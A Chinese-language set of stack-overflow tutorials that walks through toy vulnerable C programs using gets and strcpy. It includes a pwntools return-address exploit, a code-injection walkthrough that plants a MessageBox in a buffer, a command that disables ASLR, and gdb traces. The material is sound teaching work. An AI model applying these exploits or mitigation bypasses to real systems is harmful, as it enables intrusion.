精华内容
下载资源
问答
  • 栈溢出原理

    2020-08-30 13:40:51
    文章来自:栈溢出原理 介绍 栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏,类似的还有堆溢出,bss ...

    文章来自:栈溢出原理

    介绍

    栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是:

    ①程序必须向栈上写入数据。
    ②写入的数据大小没有被良好地控制。

    基本示例

    最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,当然需要确保这个地址所在的段具有可执行权限。下面,我们举一个简单的例子:

    #include <stdio.h>
    #include <string.h>
    void success() { puts("You Hava already controlled it."); }
    void vulnerable() {
      char s[12];
      gets(s);
      puts(s);
      return;
    }
    int main(int argc, char **argv) {
      vulnerable();
      return 0;
    }
    

    这个程序的主要目的读取一个字符串,并将其输出。我们希望可以控制程序执行 success 函数。

    我们利用如下命令对其进行编译。

    ➜  stack-example gcc -m32 -fno-stack-protector stack_example.c -o stack_example 
    stack_example.c: In function ‘vulnerable’:
    stack_example.c:6:3: warning: implicit declaration of function ‘gets’ [-Wimplicit-function-declaration]
       gets(s);
       ^
    /tmp/ccPU8rRA.o:在函数‘vulnerable’中:
    stack_example.c:(.text+0x27): 警告: the `gets' function is dangerous and should not be used.
    

    可以看出 gets 本身是一个危险函数。它从不检查输入字符串的长度,而是以回车来判断输入是否结束,所以很容易可以导致栈溢出。

    历史上,莫里斯蠕虫第一种蠕虫病毒就利用了 gets 这个危险函数实现了栈溢出。

    gcc 编译指令中,-m32 指的是生成 32 位程序; -fno-stack-protector 指的是不开启堆栈溢出保护,即不生成 canary。 此外,为了更加方便地介绍栈溢出的基本利用方式,这里还需要关闭 PIE(Position Independent Executable),避免加载基址被打乱。不同 gcc 版本对于 PIE 的默认配置不同,我们可以使用命令gcc -v查看gcc 默认的开关情况。如果含有–enable-default-pie参数则代表 PIE 默认已开启,需要在编译指令中添加参数-no-pie。

    编译成功后,可以使用 checksec 工具检查编译出的文件:

    ➜  stack-example checksec stack_example
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    

    提到编译时的 PIE 保护,Linux平台下还有地址空间分布随机化(ASLR)的机制。简单来说即使可执行文件开启了 PIE 保护,还需要系统开启 ASLR 才会真正打乱基址,否则程序运行时依旧会在加载一个固定的基址上(不过和 No PIE 时基址不同)。我们可以通过修改 /proc/sys/kernel/randomize_va_space 来控制 ASLR 启动与否,具体的选项有

    0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
    1,普通的 ASLR。栈基地址、mmap基地址、.so加载基地址都将被随机化,但是堆基地址没有随机化。
    2,增强的ASLR,在 1 的基础上,增加了堆基地址随机化。
    我们可以使用echo 0 > /proc/sys/kernel/randomize_va_space关闭 Linux 系统的 ASLR,类似的,也可以配置相应的参数。

    为了降低后续漏洞利用复杂度,我们这里关闭 ASLR,在编译时关闭 PIE。当然读者也可以尝试 ASLR、PIE 开关的不同组合,配合 IDA 及其动态调试功能观察程序地址变化情况(在 ASLR 关闭、PIE 开启时也可以攻击成功)。

    确认栈溢出和 PIE 保护关闭后,我们利用 IDA 来反编译一下二进制程序并查看 vulnerable 函数 。可以看到

    int vulnerable()
    {
      char s; // [sp+4h] [bp-14h]@1
    
      gets(&s);
      return puts(&s);
    }
    

    该字符串距离 ebp 的长度为 0x14,那么相应的栈结构为

                                           +-----------------+
                                           |     retaddr     |
                                           +-----------------+
                                           |     saved ebp   |
                                    ebp--->+-----------------+
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                              s,ebp-0x14-->+-----------------+
    

    并且,我们可以通过 IDA 获得 success 的地址,其地址为 0x0804843B。

    .text:0804843B success         proc near
    .text:0804843B                 push    ebp
    .text:0804843C                 mov     ebp, esp
    .text:0804843E                 sub     esp, 8
    .text:08048441                 sub     esp, 0Ch
    .text:08048444                 push    offset s        ; "You Hava already controlled it."
    .text:08048449                 call    _puts
    .text:0804844E                 add     esp, 10h
    .text:08048451                 nop
    .text:08048452                 leave
    .text:08048453                 retn
    .text:08048453 success         endp
    

    那么如果我们读取的字符串为

    0x14*‘a’+‘bbbb’+success_addr
    那么,由于 gets 会读到回车才算结束,所以我们可以直接读取所有的字符串,并且将 saved ebp 覆盖为 bbbb,将 retaddr 覆盖为 success_addr,即,此时的栈结构为

                                           +-----------------+
                                           |    0x0804843B   |
                                           +-----------------+
                                           |       bbbb      |
                                    ebp--->+-----------------+
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                              s,ebp-0x14-->+-----------------+
    

    但是需要注意的是,由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即0x0804843B 在内存中的形式是

    \x3b\x84\x04\x08
    但是,我们又不能直接在终端将这些字符给输入进去,在终端输入的时候\,x等也算一个单独的字符。。所以我们需要想办法将 \x3b 作为一个字符输入进去。那么此时我们就需要使用一波 pwntools 了(关于如何安装以及基本用法,请自行 github),这里利用 pwntools 的代码如下:

    ##coding=utf8
    from pwn import * 
    sh = process('./stack_example')	//构造与程序交互的对象
    success_addr = 0x0804843b   
    payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)  //构造payload
    print(p32(success_addr)) 
    sh.sendline(payload)  //向程序发送字符串
    sh.interactive()  //代码交互转换为手工交互
    

    执行一波代码,可以得到

    ➜  stack-example python exp.py
    [+] Starting local process './stack_example': pid 61936
    ;\x84\x0
    [*] Switching to interactive mode
    aaaaaaaaaaaaaaaaaaaabbbb;\x84\x0
    You Hava already controlled it.
    [*] Got EOF while reading in interactive
    $ 
    [*] Process './stack_example' stopped with exit code -11 (SIGSEGV) (pid 61936)
    [*] Got EOF while sending in interactive
    

    可以看到我们确实已经执行 success 函数。

    小总结

    上面的示例其实也展示了栈溢出中比较重要的几个步骤。

    寻找危险函数
    通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里。常见的危险函数如下

    输入
    gets,直接读取一行,忽略’\x00’
    scanf
    vscanf
    输出
    sprintf
    字符串
    strcpy,字符串复制,遇到’\x00’停止
    strcat,字符串拼接,遇到’\x00’停止
    bcopy

    确定填充长度
    这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离。常见的操作方法就是打开 IDA,根据其给定的地址计算偏移。一般变量会有以下几种索引模式

    相对于栈基地址的的索引,可以直接通过查看EBP相对偏移获得
    相对应栈顶指针的索引,一般需要进行调试,之后还是会转换到第一种类型。
    直接地址索引,就相当于直接给定了地址。
    一般来说,我们会有如下的覆盖需求

    覆盖函数返回地址,这时候就是直接看 EBP 即可。
    覆盖栈上某个变量的内容,这时候就需要更加精细的计算了。
    覆盖 bss 段某个变量的内容。
    根据现实执行情况,覆盖特定的变量或地址的内容。
    之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来直接或者间接地控制程序执行流程。

    展开全文
  • 栈溢出原理与实践_3

    2020-11-29 09:12:55
    栈溢出原理与实践 1. 系统栈的工作原理 1.1内存的用途 进程使用的内存都可以按照功能大致分成以下 4 个部分 代码区:这个区域存储着被装入执行的二进制机器代码,处理器会到这个区域取指并执行。 数据区:用于存储...

    栈溢出原理与实践

    1. 系统栈的工作原理

    1.1内存的用途

    进程使用的内存都可以按照功能大致分成以下 4 个部分

    1. 代码区:这个区域存储着被装入执行的二进制机器代码,处理器会到这个区域取指并执行。
    2. 数据区:用于存储全局变量等
    3. 堆区:进程可以在堆区动态地请求一定大小的内存,并在用完之后归还给堆区。动态分配和回收是堆区的特点。
    4. 栈区:用于动态地存储函数之间的调用关系,以保证被调用函数在返回时恢复到母函数中继续执行

    1.2 window平台装载过程

    PE—>装载—>进程—>文件二进制代码段装入内存的代码区(.text)—>处理器在内存区读取指令并传入算数逻辑单元—>if请求动态内存—>在内存堆区分配空间—>发生函数调用—>相关调用信息保存在栈中

    在这里插入图片描述

    如果把计算机看成一个有条不紊的工厂,我们可以得到如下类比。

    1. CPU 是完成工作的工人。

    2. 数据区、堆区、栈区等则是用来存放原料、半成品、成品等各种东西的场所。

    3. 存在代码区的指令则告诉 CPU 要做什么,怎么做,到哪里去领原材料,用什么工具来做,做完以后把成品放到哪个货舱去。

    4. 值得一提的是,栈除了扮演存放原料、半成品的仓库之外,它还是车间调度主任的办公室。

    本章主要介绍在利用系统栈进行缓存时发生溢出。

    1.3 栈与系统栈

    栈:…

    系统栈:内存中的系统栈由系统自动维护,用于实现高级语言中函数的调用

    1.4 函数调用时系统栈发生了什么

    例子:

     intfunc_B(int arg_B1, int arg_B2) 
    { 
     int var_B1, var_B2; 
     var_B1=arg_B1+arg_B2; 
     var_B2=arg_B1-arg_B2; 
     return var_B1*var_B2; 
    } 
    intfunc_A(int arg_A1, int arg_A2) 
    { 
     int var_A; 
     var_A = func_B(arg_A1,arg_A2) + arg_A1 ; 
     return var_A; 
    } 
    int main(int argc, char **argv, char **envp) 
    { 
     int var_main; 
     var_main=func_A(4,3);
     return var_main; 
    }
    

    这段程序加载进内存后的效果如下:
    在这里插入图片描述

    CPU在各个函数的代码区跳转,这一切都是与系统栈配合实现的,当函数被调用时,系统栈会为这个函数开辟一个新的栈帧,并把它压入栈中。这个栈帧中的内存空间被它所属的函数独占,正常情况下是不会和别的函数共享的。当函数返回时,系统栈会弹出该函数所对应的栈帧,流程如下:

    在这里插入图片描述

    1.5 寄存器与函数栈帧

    每一个函数独占自己的栈帧空间。当前正在运行的函数的栈帧总是在栈顶。Win32 系统提供两个特殊的寄存器用于标识位于系统栈顶端的栈帧。

    1. ESP:栈指针寄存器(extended stack po inter),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。

    2. EBP:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。

    3. 额外EIP:指令寄存器(Extended Instruction Pointer),其内存放着一个指针,该指针永远指向下一条等待执行的指令地址(控制EIP就控制了进程,可以自行决定指令的跳转

    函数栈帧的信息

    栈帧的大小不固定,与函数局部变量多少有关

    1. 局部变量:为函数局部变量开辟的内存空间。(全局变量在数据区)

    2. 栈帧状态值:保存前栈帧的顶部和底部(实际上只保存前栈帧的底部,前栈帧的顶部可以通过堆栈平衡计算得到),用于在本帧被弹出后恢复出上一个栈帧。

    3. 函数返回地址:保存当前函数调用前的“断点”信息,也就是函数调用前的指令位置,以便在函数返回时能够恢复到函数被调用前的代码区中继续执行指令。

    1.6 函数调用约定与相关指令

    1. 函数调用约定描述了函数传递参数方式和栈协同工作的技术细节

    2. 具体的调用约定差别:

      1. 参数传递方式
      2. 参数入栈顺序是从右向左还是从左向右
      3. 函数返回时恢复堆栈平衡的操作在子函数中进行还是在母函数中进行
    3. VC

    在这里插入图片描述

    函数调用的步骤:

    1. 参数入栈:将参数从右向左依次压入系统栈中。

    2. 返回地址入栈:将当前代码区调用指令的下一条指令地址压入栈中,供函数返回时继

    续执行。

    1. 代码区跳转:处理器从当前代码区跳转到被调用函数的入口处。

    2. 栈帧调整:具体包括:

      1. 保存当前栈帧状态值,已备后面恢复本栈帧时使用(EBP 入栈)
      2. 将当前栈帧切换到新栈帧(将 ESP 值装入 EBP,更新栈帧底部)
      3. 给新栈帧分配空间(把 ESP 减去所需空间的大小,抬高栈顶)
        在这里插入图片描述

    函数返回的步骤:

    1. 保存返回值:通常将函数的返回值保存在寄存器 EAX 中
    2. 弹出当前栈帧,恢复上一个栈帧
      1. 在堆栈平衡的基础上,给 ESP 加上栈帧的大小,降低栈顶,回收当前栈帧的空间
      2. 将当前栈帧底部保存的前栈帧 EBP 值弹入 EBP 寄存器,恢复出上一个栈帧
      3. 将函数返回地址弹给 EIP 寄存器
    3. 跳转:按照函数返回地址跳回母函数中继续执行

    在这里插入图片描述

    2. 利用手段

    2.1 修改邻接变量的原理

    函数的局部变量在栈中按顺序排列,如果这些局部变量中有数组之类的缓冲区,并且程序中存在数组越界的缺陷,那么越界的数组元素就有可能破坏栈中相邻变量的值,甚至破坏栈帧中所保存的 EBP 值、返回地址等重要数据。

    栈溢出简单实例:

     #include <stdio.h> 
    #define PASSWORD "1234567" 
    int verify_password (char *password) 
    { 
     int authenticated; 
     char buffer[8];// 这是个局部变量
     authenticated=strcmp(password,PASSWORD); 
     strcpy(buffer,password);//这里会发生溢出
     return authenticated; 
    } 
    main() 
    { 
     int valid_flag=0; 
     char password[1024]; 
     while(1) 
     { 
     printf("please input password: "); 
     scanf("%s",password); 
     valid_flag = verify_password(password); 
     if(valid_flag) 
     { 
     printf("incorrect password!\n\n"); 
     } 
     else 
     { 
     printf("Congratulation! You have passed the 
     verification!\n"); 
     break; 
     } 
     } 
    }
    //这段代码有两个地方要注意:
    1.erify_password()函数中的局部变量 char buffer[8]的声明位置,声明为局部变量,这样运行时就会压栈
    2.字符串比较后的strcpy,这里会出现漏洞
    
    1. 验证函数:

      authenticated 变量的值来源于 strcmp 函数的返回值,之后会返回给 main 函数作为密码验证成功与否的标志变量:当 authenticated 为 0 时,表示验证成功;反之,验证不成功

    2. 代码的栈帧布局:

    在这里插入图片描述

    1. 漏洞利用思路:在代码中我们知道在验证函数中,要将输入的password复制到buffer里,如果输入一个长度超过7字节的字符串,那么越界的字符将覆盖掉authenticated,如果这个时候把authenticated的值修改为0,那么便绕过了密码验证过程。

    实验验证

    1. 实验环境:吾爱破解专用虚拟机

    在这里插入图片描述

    1. 根据程序设计思路,只有输入1234567才算正确。

    2. 当我们调试到这一步时,可以看到,正如之前理论学习中的思路,如果输入一个错误的密码,那么经过对比后处于buffer缓冲区下的authenticated已经被赋值为1.图中很清楚的反映了相关情况。同时还可以结合理论看一下栈区调用时的真实情况,如图红框。

    在这里插入图片描述

    1. 栈帧分布情况(“内存数据”中的 DWORD 和我们逻辑上使用的“数值数据”是按字节序逆序过的)其中,输入7个字节,会有一个截断字符NULL(0x00),这个是规定的

    在这里插入图片描述

    1. 下面我们看一下,如果输入8个字符,那么第九个阶段字符为0x00,按理说应该可以将这个值覆盖为0,就达到了利用栈溢出的目的:

    在这里插入图片描述

    果然已经被覆盖为0,这样继续执行程序,即使输入错误的数据,也会返回密码正确。但是需要注意的是,这个漏洞只能这样利用,输入8位随机密码或者输入9–11位,但是第9-11位都必须是0,否则这个值被覆盖为非0数据或者字符除按过长影响返回值数据等。

    2.2 修改函数返回地址

    1. 返回地址与程序流程

    与修改邻接变量相比,通过缓冲区溢出改写栈帧最下方的 EBP 和函数返回地址等栈帧状态值是一种更强的手段

    1. 正如上节结尾所说,当我们输入的密码达到一定的长度后,就会发生继续向下淹没的情况,淹没EBP和返回地址,如图所示,此时的EBP已经被淹没。

    在这里插入图片描述

    1. 因此,只要我们构造输入一定长度的密码,就可以达到替换EBP的目的,这样便会造成程序异常,同时也可以继续构造,修改返回地址,这样就达到了控制程序流程的目的,这样,

    在这里插入图片描述

    2.控制程序的执行流程

    1. 在上一节,我们只进行了淹没EBP的实验,这会导致函数调用返回时返回一个无效的代码段地址导致崩溃,这里我们通过计算,将返回地址的值设置为验证通过的代码区跳转地址

    2. 目的梳理

      1.要摸清楚栈中的状况,如函数地址距离缓冲区的偏移量等。这虽然可以通过分析代码得到,但我还是推荐从动态调试中获得这些信息。
      2.要得到程序中密码验证通过的指令地址,以便程序直接跳去这个分支执行
      3.要在 password.txt 文件的相应偏移处填上这个地址。
      这样 verify_password 函数返回后就会直接跳转到验证通过的正确分支去执行了。
      
    3. 实例截图

      点击插件–>自动搜索:查到标志验证成功的Congratulation!发现代码段位置:0x00401122

    在这里插入图片描述

    可以简单的分析一下逻辑:首先在02处,调用了验证函数,然后在0D处比较,11分支跳转至13或22,其实这里的话可以有好几种方法突破验证的限制了,直接改掉这个即可,但是还是进行一下利用栈溢出漏洞从输入定位填充返回地址,来达到绕过的目的

    在这里插入图片描述

    栈溢出攻击示意图

    在这里插入图片描述

    下面进行输入

    在这里插入图片描述

    在示意图对比,存储读取文本的buff到返回地址一共16个字节。在17-20个字节填充验证通过的分支0x00401122,这样无论验证函数的其他变量如何,返回时都会返回成功。这样就达到了栈溢出攻击的目的。

    2.3 代码植入

    1. 在上一节,我们测试了根据代码中判断的栈帧状态和汇编程序中看到的代码段地址情况构造输入文本字符串password来进行返回地址淹没,从而控制程序的跳转,这一节跟随书上的例子,尝试在缓冲区进行代码植入,加入一些自己的东西。

    2. 为了承载植入代码,需要做的工作如下:

      #include <stdio.h> //增加头文件,以便程序能顺利调用LoadLibrary去装载user32.dll
      #include <windows.h> 
      #define PASSWORD "1234567" 
      int verify_password (char *password) 
      { 
       int authenticated; 
       char buffer[44]; //buff由8字节增加到44字节,以便承载攻击代码
       authenticated=strcmp(password,PASSWORD); 
       strcpy(buffer,password);//over flowed here! 
       return authenticated; 
      } 
      main() 
      { 
       int valid_flag=0; 
       char password[1024]; 
       FILE * fp; 
       LoadLibrary("user32.dll");//初始化装载,以便后面调用messagebox 
       if(!(fp=fopen("password.txt","rw+"))) 
       { 
       exit(0); 
       } 
       fscanf(fp,"%s",password); 
       valid_flag = verify_password(password); 
       if(valid_flag) 
       { 
       printf("incorrect password!\n"); 
       } 
       else 
       { 
       printf("Congratulation! You have passed the verification!\n"); 
       } 
       fclose(fp); 
      }
      
    3. 需要做的事:

      1.分析并调试漏洞程序,获得淹没返回地址的偏移
      2.获得 buffer 的起始地址,并将其写入 password.txt 的相应偏移处,用来冲刷返回地址
      3.password.txt 中写入可执行的机器代码,用来调用 API 弹出一个消息框。
      
    4. 逐条分析

      1.buff大小为44,如果在 password.txt 中写入恰好 44 个字符,那么第 45 个隐藏的截断符 null 将冲掉authenticated 低字节中的 1,从而突破密码验证的限制。在这里进行动态调试,
      2.在动态调试的过程中可以的第 5356 个字符的 ASCII 码值将写入栈帧中的返回地址,成为函
      数返回后执行的指令地址
      3.buffer 数组的起始地址为 0x0012FAF0
      
    5. 执行策略

      1. 将buffer的起始地址0x0012FAF0写入txt文件中第 53~56 个字符,进而推至buffer淹没栈帧中的返回地址,程序将重新引导读取buffer

      2. buffer的44个字节区植入机器码,这里直接植入最简单的那种,植入一个弹窗

      3. 获取弹窗

        1. 在user32.dll中找到messageboxA的入口地址方便调用(dll的基址+massageboxA的偏移)

          使用VC带的dependency walker计算即可,本例中最后的结果是0x77D804EA

        2. 写需要植入的汇编代码(具体对应规则先忽略)

        3. 在读入文本部分找到对应的东西,并将函数返回地址替换为buffer的起始地址(txt文件中第 53~56 个字符),多余的空间用0X90(nop)填充

        4. 结果:运行程序,弹窗。

    展开全文
  • 浅析栈溢出原理

    千次阅读 2020-10-20 20:55:49
    溢出原理 以32位可执行程序为例, 我们将通过调试分析下面这段简单的代码来理解栈溢出. #include #include void shell(){ system("/bin/sh"); } void vulnerable(){ char buf[16]; gets(buf); } int main(){ ...

    说明

    本文主要讲解简单栈溢出的基本原理, 如果有什么不对的地方或者更好的建议, 还请大佬指正.

    工具准备

    1. linux系统
    2. 调试工具gdb
    3. gdb插件:pwndbg
    4. pwntools工具包
      关于pwndbg插件和pwntools可以在github搜索并下载安装,需要python环境

    函数栈帧与ESP、EBP寄存器

    C语言中,每个栈帧对应一个未运行完的函数. 栈帧中保存了函数的局部变量和返回地址, 即保存着函数的执行环境.
    ------摘自百度百科

    ESP寄存器保存着栈帧的栈顶地址, EBP寄存器保存着当前函数栈帧的栈底地址. (32位系统为ESP、EBP, 64位系统为RSP、RBP, 其它寄存器同理)

    call指令、leave指令与ret指令

    汇编语言中, 用call指令来实现函数的调用, 指令格式: call address;
    call指令效果相当于"push eip; jump address;". 不仅是跳转到指定函数地址执行指令, 在跳转之前还将当前IP寄存器中的值(下一条指令的地址)压入到了栈中. 从而可以在被调函数执行完之后, 继续执行当前函数.
    在被调函数执行完毕后, 程序要准备退出函数, 需要leave指令来释放函数栈帧, 并使EBP寄存器恢复旧值, 执行的操作相当于"mov esp,ebp; pop ebp; “, 之后ret指令将程序执行流返回上层函数. 有点c语言中return语句的意味. ret指令效果相当于"pop eip;”. 即将栈顶保存的值出栈, 作为下一条将要执行指令的地址赋值给IP寄存器.

    造成栈溢出的原因

    系统栈是由高地址往低地址增长的, 而数据的写入是按低地址到高地址的顺序写入. 如果程序没有对输入的字符数量做出限制, 就存在数据溢出当前栈帧以及覆盖返回地址的可能, 从而实现控制程序的执行流.

    溢出原理

    以32位可执行程序为例, 我们将通过调试分析下面这段简单的代码来理解栈溢出.

    #include<stdio.h>
    #include<unistd.h>
    
    void shell(){
        system("/bin/sh");
    }
    
    void vulnerable(){
        char buf[16];
        gets(buf);
    }
    
    int main(){
        vulnerable();
    }
    
    

    可以看到buf大小只有16字节,而gets()函数却可以无限输入,不检查字符上限, 直到遇到’\n’字符为止.
    我们将c文件编译链接成可执行文件:

    # 编译参数先不讲解,在后面讲解保护机制时解释
    # 只需知道-m32是将.c文件编译成32位程序即可
    gcc -m32 -fno-stack-protector -no-pie main.c -o stack
    

    我们用objdump 来反汇编一下生成的可执行文件(部分反汇编代码):

    08049172 <shell>:
     8049172:       55                      push   ebp
     8049173:       89 e5                   mov    ebp,esp
     8049175:       83 ec 08                sub    esp,0x8
     8049178:       83 ec 0c                sub    esp,0xc
     804917b:       68 08 a0 04 08          push   0x804a008
     8049180:       e8 bb fe ff ff          call   8049040 <system@plt>
     8049185:       83 c4 10                add    esp,0x10
     8049188:       90                      nop
     8049189:       c9                      leave  
     804918a:       c3                      ret    
    
    0804918b <vulnerable>:
     804918b:       55                      push   ebp
     804918c:       89 e5                   mov    ebp,esp
     804918e:       83 ec 18                sub    esp,0x18
     8049191:       83 ec 0c                sub    esp,0xc
     8049194:       8d 45 e8                lea    eax,[ebp-0x18]
     8049197:       50                      push   eax
     8049198:       e8 93 fe ff ff          call   8049030 <gets@plt>
     804919d:       83 c4 10                add    esp,0x10
     80491a0:       90                      nop
     80491a1:       c9                      leave  
     80491a2:       c3                      ret    
    
    080491a3 <main>:
     80491a3:       55                      push   ebp
     80491a4:       89 e5                   mov    ebp,esp
     80491a6:       83 e4 f0                and    esp,0xfffffff0
     80491a9:       e8 dd ff ff ff          call   804918b <vulnerable>
     80491ae:       b8 00 00 00 00          mov    eax,0x0
     80491b3:       c9                      leave  
     80491b4:       c3                      ret    
     80491b5:       66 90                   xchg   ax,ax
     80491b7:       66 90                   xchg   ax,ax
     80491b9:       66 90                   xchg   ax,ax
     80491bb:       66 90                   xchg   ax,ax
     80491bd:       66 90                   xchg   ax,ax
     80491bf:       90                      nop
    

    上图可以看到, 在执行call之前,系统会将参数入栈(32位程序如此), 执行call指令进入函数之后, 前两条汇编指令都相同:

    55				push	ebp
    89 e5			mov		ebp,esp
    

    这两条指令的作用是将上层函数栈帧的栈底入栈,同时将栈顶作为本函数栈帧的栈底.
    函数调用时栈的变化情况大致如下所示:
    执行call指令时首先esp执行-4操作, 栈顶上移, 然后将call指令的下条指令地址存入栈顶位置, 从上图汇编代码可以看出是将地址0x80491ae入栈, 栈向低地址方向增长.
    执行call指令时,将main函数中下条指令的地址入栈
    进入vulnerable函数之后,分别执行前两条指令构造新栈帧:
    将当前栈帧的ebp入栈, 然后将ebp移动到栈顶位置, 此时vulnerable函数的栈帧构造完毕,当有临时变量时, esp指针执行sub操作,指针上移, 为临时变量开辟栈空间.
    构造新栈帧
    函数功能执行完毕,准备返回时, 需要将栈空间释放, 即销毁当前栈帧, 在上面汇编代码部分可以看到, 用户定义的函数末尾通常会有两条指令(有时候没有leave指令):

    c9			leave
    c3			ret
    

    执行leave指令, 首先将esp移动到栈帧的栈底ebp的位置, 之后执行出栈操作, 将栈顶赋值给ebp, 此时ebp恢复旧值, 因为出栈操作, esp指针下移. (出栈操作并不会清除栈内数据, 只是将esp的值修改了而已)
    执行leave指令
    之后执行ret指令, 将栈顶赋值给IP寄存器 , esp下移, 程序继续. 所谓栈溢出就是想办法将上层函数的栈帧中的"返回地址"给覆盖掉, 以达到改变程序执行流的效果. 在本例中, 就是往buf中一直写入数据, 直到将main栈帧中"返回地址"给覆盖掉. 当程序执行完vulnerable函数后, 将返回到指定地址继续执行指令.
    覆盖返回地址
    接下来我们用动态调试工具gdb和pwndbg来调试此程序:
    常用的gdb/pwndbg命令如下:

    • b function_name —> 在函数处下断点
    • b *address —> 在地址address处下断点
    • info b —> 查看断点信息
    • r —> 运行程序
    • n —> 单步步过
    • s —> 单步步入,函数跟踪
    • c —> 继续执行
    • fin —> 跳出,执行到函数返回处
    • stack n —> 查看栈内n个存储单元的数据

    运行gdb, 并在main函数处打上断点, 运行程序:
    可以看到最上面是一些寄存器的状态, 往下是程序执行处的反汇编代码, 小箭头指向将要执行指令, 接着是部分栈空间的状态, 包括ebp和esp的位置信息, 最下面是函数调用顺序, 可以看到程序执行时, main函数并不是第一个被调用的函数, 是由__libc_start_main调用.

    Breakpoint 1, 0x080491a6 in main ()
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    ─────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
     EAX  0xf7fa7dc8 (environ) —▸ 0xffffbcbc —▸ 0xffffbe9f ◂— 'SHELL=/bin/bash'
     EBX  0x0
     ECX  0xcaf93e6a
     EDX  0xffffbc44 ◂— 0x0
     EDI  0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d9d6c
     ESI  0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d9d6c
     EBP  0xffffbc18 ◂— 0x0
     ESP  0xffffbc18 ◂— 0x0
     EIP  0x80491a6 (main+3) ◂— 0xe8f0e483
    ───────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
     ► 0x80491a6 <main+3>     and    esp, 0xfffffff0
       0x80491a9 <main+6>     call   vulnerable <vulnerable>
     
       0x80491ae <main+11>    mov    eax, 0
       0x80491b3 <main+16>    leave  
       0x80491b4 <main+17>    ret    
     
       0x80491b5              nop    
       0x80491b7              nop    
       0x80491b9              nop    
       0x80491bb              nop    
       0x80491bd              nop    
       0x80491bf              nop    
    ───────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
    00:0000│ ebp esp  0xffffbc18 ◂— 0x0
    01:00040xffffbc1c —▸ 0xf7de6b41 (__libc_start_main+241) ◂— add    esp, 0x10
    02:00080xffffbc20 ◂— 0x1
    03:000c│          0xffffbc24 —▸ 0xffffbcb4 —▸ 0xffffbe74 ◂— '/home/darkfox/Desktop/code_project/c/stack'
    04:00100xffffbc28 —▸ 0xffffbcbc —▸ 0xffffbe9f ◂— 'SHELL=/bin/bash'
    05:00140xffffbc2c —▸ 0xffffbc44 ◂— 0x0
    06:00180xffffbc30 ◂— 0x1
    07:001c│          0xffffbc34 ◂— 0x0
    ─────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────
     ► f 0  80491a6 main+3
       f 1 f7de6b41 __libc_start_main+241
    ────────────────────────────────────────────────────────────────────────────────────────────────────────────────
    pwndbg> 
    

    我们接着执行, 直到往buf输入数据为止:

     0x804918c <vulnerable+1>     mov    ebp, esp
       0x804918e <vulnerable+3>     sub    esp, 0x18
       0x8049191 <vulnerable+6>     sub    esp, 0xc
       0x8049194 <vulnerable+9>     lea    eax, [ebp - 0x18]
       0x8049197 <vulnerable+12>    push   eax
     ► 0x8049198 <vulnerable+13>    call   gets@plt <gets@plt>
            arg[0]: 0xffffbbf0 ◂— 0x1
            arg[1]: 0x40000
            arg[2]: 0x7
            arg[3]: 0x8049203 (__libc_csu_init+67) ◂— 0x8301c783
     
       0x804919d <vulnerable+18>    add    esp, 0x10
       0x80491a0 <vulnerable+21>    nop    
       0x80491a1 <vulnerable+22>    leave  
       0x80491a2 <vulnerable+23>    ret    
     
       0x80491a3 <main>             push   ebp
    

    我们输入’aaaa’, 并查看栈数据, 可以看到我们输入的数据存储在地址0xffffbbf0处, 我们需要覆盖的数据在地址0xffffbc0c处, 中间相隔了0x1c字节的数据. 另外我们需要程序返回shell函数处, 运行shell函数, 获得系统控制权, 此时我们可以将shell函数的地址0x8049172覆盖原来的地址数据.然后就大功告成.

    ────────────────────────────────────────────────────────────────────────────────────────────────────────────────
    pwndbg> stack 20
    00:0000│ esp  0xffffbbe0 —▸ 0xffffbbf0 ◂— 'aaaa'
    01:00040xffffbbe4 ◂— 0x40000
    02:00080xffffbbe8 ◂— 0x7
    03:000c│      0xffffbbec —▸ 0x8049203 (__libc_csu_init+67) ◂— 0x8301c783
    04:0010│ eax  0xffffbbf0 ◂— 'aaaa'
    05:00140xffffbbf4 —▸ 0xffffbc00 —▸ 0xf7fe4520 (_dl_fini) ◂— push   ebp
    06:00180xffffbbf8 —▸ 0xffffbcbc —▸ 0xffffbe9f ◂— 'SHELL=/bin/bash'
    07:001c│      0xffffbbfc —▸ 0x80491db (__libc_csu_init+27) ◂— 0xff10b38d
    08:00200xffffbc00 —▸ 0xf7fe4520 (_dl_fini) ◂— push   ebp
    09:00240xffffbc04 ◂— 0x0
    0a:0028│ ebp  0xffffbc08 —▸ 0xffffbc18 ◂— 0x0
    0b:002c│      0xffffbc0c —▸ 0x80491ae (main+11) ◂— 0xb8
    0c:00300xffffbc10 —▸ 0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d9d6c
    ...0e:00380xffffbc18 ◂— 0x0
    0f:003c│      0xffffbc1c —▸ 0xf7de6b41 (__libc_start_main+241) ◂— add    esp, 0x10
